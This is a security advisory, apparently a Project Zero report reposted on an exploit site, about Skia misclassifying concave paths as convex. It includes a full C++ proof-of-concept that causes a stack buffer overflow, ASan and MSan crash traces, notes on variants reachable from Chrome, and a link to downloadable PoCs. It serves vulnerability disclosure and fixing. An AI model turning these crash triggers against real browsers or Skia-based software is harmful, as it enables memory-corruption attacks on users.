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HireHackking 
I was looking into the root cause of https://bugs.chromium.org/p/chromium/issues/detail?id=850350. In that bug, due to precision errors, Skia generated a concave RRect, but declared it convex. Later, the RRect was transformed with an affine transform and used as a clipping region for drawing. Because the convex path filling algorithm was used while the path was actually concave, this broke some assumptions and led to a stack out-of-bounds write.

The bug was fixed by addressing the precision errors in RRect generation. However, there is another subtle issue:

If Skia ever declares a path convex, the convexity attribute is going to survive affine transforms. Normally, in geometry, transforming a convex path with an affine transform is always going to result in a convex path. However, in Skia, due to precision limitations, that assumption might be incorrect because:

 a) Due to precision errors, Skia may declare a polygon with tiny concavities to be convex. Using an affine transform, the concavities can then be rotated and enlarged.
 b) It might be possible, that due to precision errors, applying an affine transform on a convex path might result in tiny concavities that can be blown up by subsequent transformations.

There are possible multiple places where using a concave polygon with incorrect convexity attribute might lead to problems. The one I used in the PoC is the same as in https://bugs.chromium.org/p/chromium/issues/detail?id=850350. What happens there is walk_convex_edges() being used on a concave path:
https://cs.chromium.org/chromium/src/third_party/skia/src/core/SkScan_Path.cpp?l=213&rcl=61c5108108acaeb4ee7fc8cb97c41f4f97d99040
This leads to breaking another Skia assumption - that the image is always going to be rendered in the top-to-bottom, left-to-right order.
If the path is used as a clipping region, this leads to incorrect ordering of runs in SkRgnBuilder. When the correspoding SkRgnClipBlitter is used, the "left < right" assumption gets broken here
https://cs.chromium.org/chromium/src/third_party/skia/src/core/SkBlitter.cpp?l=612&rcl=b2a232fb20358ccd6c7c2fafb7e83e444e4e2458
which results in calling SkAlphaRuns::Break with the negative "count" argument, which leads to out-of-bounds write here:
https://cs.chromium.org/chromium/src/third_party/skia/src/core/SkAntiRun.h?g=0&rcl=c640d0dc96924699fdbb1a3cbdc907aa07b1cb3c&l=154

The following Skia program demonstrates the issue:

=================================================================

#include <stdio.h>

#include "SkCanvas.h"
#include "SkPath.h"
#include "SkBitmap.h"
#include "SkRegion.h"

int main(int argc, char * const argv[]) {

  SkBitmap bitmap;
  bitmap.allocN32Pixels(24, 24);
  SkCanvas canvas(bitmap);

  SkPaint paint;
  paint.setAntiAlias(true);
  paint.setStyle(SkPaint::kFill_Style);

  // This is monotone in both x and y, but has a tiny concavity
  SkPath path;
  path.moveTo(-1,-1);
  path.lineTo(0, 0);
  path.lineTo(0, 0.5e-10);
  path.lineTo(0.1e-10, 1.1e-10);
  path.lineTo(1.5e-10, 1.1e-10);
  path.lineTo(1.5e-10, 2.5e-10);
  path.lineTo(0.9, 1);
  path.lineTo(-1, 1);
  path.close();

  // If asked, Skia is going to declare it convex
  if(path.isConvex()) {
    printf("convex\n");
  } else {
    printf("not convex\n");
  }

  // The convexity flag is going to survive all affine transforms
  // Even those that will enlarge the concavity and make the path
  // non-monotone.
  SkMatrix m;
  m.setRotate(-45);
  m.postScale(10e10, 10e10);
  m.postSkew(-1, 0);
  m.postTranslate(1, 10);
  path.transform(m);

  // As demonstrated here
  if(path.isConvex()) {
    printf("convex\n");
  } else {
    printf("not convex\n");
  }

  // We'll use the path as a clip region
  canvas.clipPath(path);

  // And now we'll just draw a simple triangle.
  SkPath path2;
  path2.moveTo(15.5, 15);
  path2.lineTo(50.5, 50);
  path2.lineTo(-19.5, 50);
  path2.close();
  canvas.drawPath(path2, paint);

  printf("done\n");

  return 0;
}

=================================================================

ASan log:

=================================================================
==139872==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffc5c8950d4 at pc 0x00000135512e bp 0x7ffc5c894f30 sp 0x7ffc5c894f28
WRITE of size 1 at 0x7ffc5c8950d4 thread T0
    #0 0x135512d in SkAlphaRuns::Break(short*, unsigned char*, int, int) /usr/local/google/home/ifratric/p0/skia/skia20181029/out/asan/../../src/core/SkAntiRun.h:154:26
    #1 0x135512d in SkRgnClipBlitter::blitAntiH(int, int, unsigned char const*, short const*) /usr/local/google/home/ifratric/p0/skia/skia20181029/out/asan/../../src/core/SkBlitter.cpp:615
    #2 0xac437f in SkBlitter::blitAntiH2(int, int, unsigned int, unsigned int) /usr/local/google/home/ifratric/p0/skia/skia20181029/out/asan/../../src/core/SkBlitter.h:96:15
    #3 0x1465fa4 in blit_trapezoid_row(AdditiveBlitter*, int, int, int, int, int, int, int, unsigned char, unsigned char*, bool, bool, bool) /usr/local/google/home/ifratric/p0/skia/skia20181029/out/asan/../../src/core/SkScan_AAAPath.cpp
    #4 0x1465fa4 in aaa_walk_convex_edges(SkAnalyticEdge*, AdditiveBlitter*, int, int, int, int, bool) /usr/local/google/home/ifratric/p0/skia/skia20181029/out/asan/../../src/core/SkScan_AAAPath.cpp:1187
    #5 0x1465fa4 in aaa_fill_path(SkPath const&, SkIRect const&, AdditiveBlitter*, int, int, bool, bool, bool) /usr/local/google/home/ifratric/p0/skia/skia20181029/out/asan/../../src/core/SkScan_AAAPath.cpp:1669
    #6 0x1465fa4 in SkScan::AAAFillPath(SkPath const&, SkBlitter*, SkIRect const&, SkIRect const&, bool) /usr/local/google/home/ifratric/p0/skia/skia20181029/out/asan/../../src/core/SkScan_AAAPath.cpp:1713
    #7 0xad5687 in SkScan::AntiFillPath(SkPath const&, SkRegion const&, SkBlitter*, bool, SkDAARecord*) /usr/local/google/home/ifratric/p0/skia/skia20181029/out/asan/../../src/core/SkScan_AntiPath.cpp:844:9
    #8 0xad6cf6 in SkScan::AntiFillPath(SkPath const&, SkRasterClip const&, SkBlitter*, SkDAARecord*) /usr/local/google/home/ifratric/p0/skia/skia20181029/out/asan/../../src/core/SkScan_AntiPath.cpp:883:9
    #9 0x9c5902 in SkDraw::drawDevPath(SkPath const&, SkPaint const&, bool, SkBlitter*, bool) const /usr/local/google/home/ifratric/p0/skia/skia20181029/out/asan/../../src/core/SkDraw.cpp:1018:5
    #10 0x9c64b9 in SkDraw::drawPath(SkPath const&, SkPaint const&, SkMatrix const*, bool, bool, SkBlitter*) const /usr/local/google/home/ifratric/p0/skia/skia20181029/out/asan/../../src/core/SkDraw.cpp:1101:11
    #11 0x13478f3 in SkDraw::drawPath(SkPath const&, SkPaint const&, SkMatrix const*, bool) const /usr/local/google/home/ifratric/p0/skia/skia20181029/out/asan/../../src/core/SkDraw.h:56:15
    #12 0x13478f3 in SkBitmapDevice::drawPath(SkPath const&, SkPaint const&, bool) /usr/local/google/home/ifratric/p0/skia/skia20181029/out/asan/../../src/core/SkBitmapDevice.cpp:407
    #13 0x98e9ce in SkCanvas::onDrawPath(SkPath const&, SkPaint const&) /usr/local/google/home/ifratric/p0/skia/skia20181029/out/asan/../../src/core/SkCanvas.cpp:2141:23
    #14 0x983f71 in SkCanvas::drawPath(SkPath const&, SkPaint const&) /usr/local/google/home/ifratric/p0/skia/skia20181029/out/asan/../../src/core/SkCanvas.cpp:1694:11
    #15 0x69add0 in main /usr/local/google/home/ifratric/p0/skia/skia20181029/out/asan/../../example/SkiaSDLExample.cpp:63:10
    #16 0x7ff1044112b0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202b0)
    #17 0x5ab0e9 in _start (/usr/local/google/home/ifratric/p0/skia/skia20181029/out/asan/SkiaSDLExample+0x5ab0e9)

Address 0x7ffc5c8950d4 is located in stack of thread T0 at offset 52 in frame
    #0 0xac421f in SkBlitter::blitAntiH2(int, int, unsigned int, unsigned int) /usr/local/google/home/ifratric/p0/skia/skia20181029/out/asan/../../src/core/SkBlitter.h:87

  This frame has 2 object(s):
    [32, 38) 'runs'
    [64, 66) 'aa' <== Memory access at offset 52 underflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow /usr/local/google/home/ifratric/p0/skia/skia20181029/out/asan/../../src/core/SkAntiRun.h:154:26 in SkAlphaRuns::Break(short*, unsigned char*, int, int)
Shadow bytes around the buggy address:
  0x10000b90a9c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10000b90a9d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10000b90a9e0: 00 00 00 00 00 00 00 00 f1 f1 f1 f1 00 00 00 f2
  0x10000b90a9f0: f2 f2 f2 f2 04 f2 04 f3 00 00 00 00 00 00 00 00
  0x10000b90aa00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x10000b90aa10: 00 00 00 00 f1 f1 f1 f1 06 f2[f2]f2 02 f3 f3 f3
  0x10000b90aa20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10000b90aa30: f1 f1 f1 f1 00 00 00 00 00 00 00 00 00 00 00 00
  0x10000b90aa40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10000b90aa50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10000b90aa60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==139872==ABORTING

################################################################################

Another variant of this issue can be triggered while rendering a concave path with SkScan::SAAFillPath algorithm.

When drawing a path with SkScan::SAAFillPath, if the path is concave but Skia thinks it's convex, this can lead to SuperBlitter::blitH without respecting the the top-to-bottom, left-to-right order. In this case, this leads to SkAlphaRuns::add also being called out-of-order, which leads to SkAlphaRuns::Break being called with a negative "x" argument, which leads to uninitialized memory being read here:
https://cs.chromium.org/chromium/src/third_party/skia/src/core/SkAntiRun.h?g=0&l=150&rcl=c640d0dc96924699fdbb1a3cbdc907aa07b1cb3c
Which then leads to out-of-bounds reads/writes on the following lines:
https://cs.chromium.org/chromium/src/third_party/skia/src/core/SkAntiRun.h?g=0&rcl=c640d0dc96924699fdbb1a3cbdc907aa07b1cb3c&l=154
https://cs.chromium.org/chromium/src/third_party/skia/src/core/SkAntiRun.h?g=0&rcl=c640d0dc96924699fdbb1a3cbdc907aa07b1cb3c&l=155

This issue is also triggerable in Chrome by simply drawing a path to the canvas.

Skia and Chrome PoCs are attached.


MSan log from Skia:

==55058==WARNING: MemorySanitizer: use-of-uninitialized-value
    #0 0xcb9188 in SkAlphaRuns::Break(short*, unsigned char*, int, int) /usr/local/google/home/ifratric/p0/skia/skia20181029/out/msan/../../src/core/SkAntiRun.h:155:17
    #1 0xcb9188 in SkAlphaRuns::add(int, unsigned int, int, unsigned int, unsigned int, int) /usr/local/google/home/ifratric/p0/skia/skia20181029/out/msan/../../src/core/SkAntiRun.h:83
    #2 0xcb9188 in SuperBlitter::blitH(int, int, int) /usr/local/google/home/ifratric/p0/skia/skia20181029/out/msan/../../src/core/SkScan_AntiPath.cpp:251
    #3 0xce2e0e in walk_convex_edges(SkEdge*, SkPath::FillType, SkBlitter*, int, int, void (*)(SkBlitter*, int, bool)) /usr/local/google/home/ifratric/p0/skia/skia20181029/out/msan/../../src/core/SkScan_Path.cpp:278:30
    #4 0xce0b79 in sk_fill_path(SkPath const&, SkIRect const&, SkBlitter*, int, int, int, bool) /usr/local/google/home/ifratric/p0/skia/skia20181029/out/msan/../../src/core/SkScan_Path.cpp:488:9
    #5 0xcbc6f3 in SkScan::SAAFillPath(SkPath const&, SkBlitter*, SkIRect const&, SkIRect const&, bool) /usr/local/google/home/ifratric/p0/skia/skia20181029/out/msan/../../src/core/SkScan_AntiPath.cpp:737:9
    #6 0xcbe0a2 in SkScan::AntiFillPath(SkPath const&, SkRegion const&, SkBlitter*, bool, SkDAARecord*) /usr/local/google/home/ifratric/p0/skia/skia20181029/out/msan/../../src/core/SkScan_AntiPath.cpp:852:9
    #7 0xb02720 in SkDraw::drawDevPath(SkPath const&, SkPaint const&, bool, SkBlitter*, bool) const /usr/local/google/home/ifratric/p0/skia/skia20181029/out/msan/../../src/core/SkDraw.cpp:1018:5
    #8 0xb03efc in SkDraw::drawPath(SkPath const&, SkPaint const&, SkMatrix const*, bool, bool, SkBlitter*) const /usr/local/google/home/ifratric/p0/skia/skia20181029/out/msan/../../src/core/SkDraw.cpp:1101:11
    #9 0x19efe03 in SkDraw::drawPath(SkPath const&, SkPaint const&, SkMatrix const*, bool) const /usr/local/google/home/ifratric/p0/skia/skia20181029/out/msan/../../src/core/SkDraw.h:56:15
    #10 0x19efe03 in SkBitmapDevice::drawPath(SkPath const&, SkPaint const&, bool) /usr/local/google/home/ifratric/p0/skia/skia20181029/out/msan/../../src/core/SkBitmapDevice.cpp:407
    #11 0xab09cb in SkCanvas::onDrawPath(SkPath const&, SkPaint const&) /usr/local/google/home/ifratric/p0/skia/skia20181029/out/msan/../../src/core/SkCanvas.cpp:2141:23
    #12 0xaa0237 in SkCanvas::drawPath(SkPath const&, SkPaint const&) /usr/local/google/home/ifratric/p0/skia/skia20181029/out/msan/../../src/core/SkCanvas.cpp:1694:11
    #13 0x62077d in main /usr/local/google/home/ifratric/p0/skia/skia20181029/out/msan/../../example/SkiaSDLExample.cpp:52:10
    #14 0x7f8901e5f2b0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202b0)
    #15 0x5af729 in _start (/usr/local/google/home/ifratric/p0/skia/skia20181029/out/msan/SkiaSDLExample+0x5af729)

  Uninitialized value was created by a heap allocation
    #0 0x5b799c in __interceptor_malloc (/usr/local/google/home/ifratric/p0/skia/skia20181029/out/msan/SkiaSDLExample+0x5b799c)
    #1 0xdb06dd in sk_malloc_flags(unsigned long, unsigned int) /usr/local/google/home/ifratric/p0/skia/skia20181029/out/msan/../../src/ports/SkMemory_malloc.cpp:71:13
    #2 0xb0b9c7 in sk_malloc_throw(unsigned long) /usr/local/google/home/ifratric/p0/skia/skia20181029/out/msan/../../include/private/SkMalloc.h:59:12
    #3 0xb0b9c7 in SkAutoMalloc::reset(unsigned long, SkAutoMalloc::OnShrink) /usr/local/google/home/ifratric/p0/skia/skia20181029/out/msan/../../src/core/SkAutoMalloc.h:53
    #4 0xb0b9c7 in SkBlitter::allocBlitMemory(unsigned long) /usr/local/google/home/ifratric/p0/skia/skia20181029/out/msan/../../src/core/SkBlitter.h:137
    #5 0xcb6c9d in SuperBlitter::SuperBlitter(SkBlitter*, SkIRect const&, SkIRect const&, bool) /usr/local/google/home/ifratric/p0/skia/skia20181029/out/msan/../../src/core/SkScan_AntiPath.cpp:159:32
    #6 0xcbc648 in SkScan::SAAFillPath(SkPath const&, SkBlitter*, SkIRect const&, SkIRect const&, bool) /usr/local/google/home/ifratric/p0/skia/skia20181029/out/msan/../../src/core/SkScan_AntiPath.cpp:736:22
    #7 0xcbe0a2 in SkScan::AntiFillPath(SkPath const&, SkRegion const&, SkBlitter*, bool, SkDAARecord*) /usr/local/google/home/ifratric/p0/skia/skia20181029/out/msan/../../src/core/SkScan_AntiPath.cpp:852:9
    #8 0xb02720 in SkDraw::drawDevPath(SkPath const&, SkPaint const&, bool, SkBlitter*, bool) const /usr/local/google/home/ifratric/p0/skia/skia20181029/out/msan/../../src/core/SkDraw.cpp:1018:5
    #9 0xb03efc in SkDraw::drawPath(SkPath const&, SkPaint const&, SkMatrix const*, bool, bool, SkBlitter*) const /usr/local/google/home/ifratric/p0/skia/skia20181029/out/msan/../../src/core/SkDraw.cpp:1101:11
    #10 0x19efe03 in SkDraw::drawPath(SkPath const&, SkPaint const&, SkMatrix const*, bool) const /usr/local/google/home/ifratric/p0/skia/skia20181029/out/msan/../../src/core/SkDraw.h:56:15
    #11 0x19efe03 in SkBitmapDevice::drawPath(SkPath const&, SkPaint const&, bool) /usr/local/google/home/ifratric/p0/skia/skia20181029/out/msan/../../src/core/SkBitmapDevice.cpp:407
    #12 0xab09cb in SkCanvas::onDrawPath(SkPath const&, SkPaint const&) /usr/local/google/home/ifratric/p0/skia/skia20181029/out/msan/../../src/core/SkCanvas.cpp:2141:23
    #13 0xaa0237 in SkCanvas::drawPath(SkPath const&, SkPaint const&) /usr/local/google/home/ifratric/p0/skia/skia20181029/out/msan/../../src/core/SkCanvas.cpp:1694:11
    #14 0x62077d in main /usr/local/google/home/ifratric/p0/skia/skia20181029/out/msan/../../example/SkiaSDLExample.cpp:52:10
    #15 0x7f8901e5f2b0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202b0)

################################################################################

A third variant of this, which is also exploitable in Chrome (I just linked to the ClusterFuzz testcase) is when a path is rendered SkScan::SAAFillPath with a MaskSuperBlitter. In this case, rendering concave path as convex leads to "x" coordinate being increased beyond the image bounds, which leads to incrementing out-of-bounds data in
https://skia.googlesource.com/skia/+/fa7df23d8b0c4121adfc5ad45c295e7077fad3f5/src/core/SkScan_AntiPath.cpp#483

Note: ptr normally points inside
https://cs.chromium.org/chromium/src/third_party/skia/src/core/SkScan_AntiPath.cpp?type=cs&g=0&l=435&rcl=05caa69a3f5aa45fd230ec302e6da1522d993747
which is (in this case) allocated on the stack, so this variant gives us a stack out-of-bounds increment by a chosen small value, which is a pretty nice exploitation primitive.

PoCs for Skia and Chrome are attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/46332.zip